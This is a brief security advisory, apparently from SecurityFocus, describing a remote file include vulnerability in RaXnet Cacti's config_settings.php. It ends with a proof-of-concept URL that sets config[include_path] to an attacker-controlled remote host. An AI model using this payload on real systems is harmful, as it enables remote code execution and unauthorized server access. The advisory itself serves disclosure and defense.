source: http://www.securityfocus.com/bid/14028/info

RaXnet Cacti is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'config_settings.php' script.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/include/config_settings.php?config[include_path]=http://www.example2.com/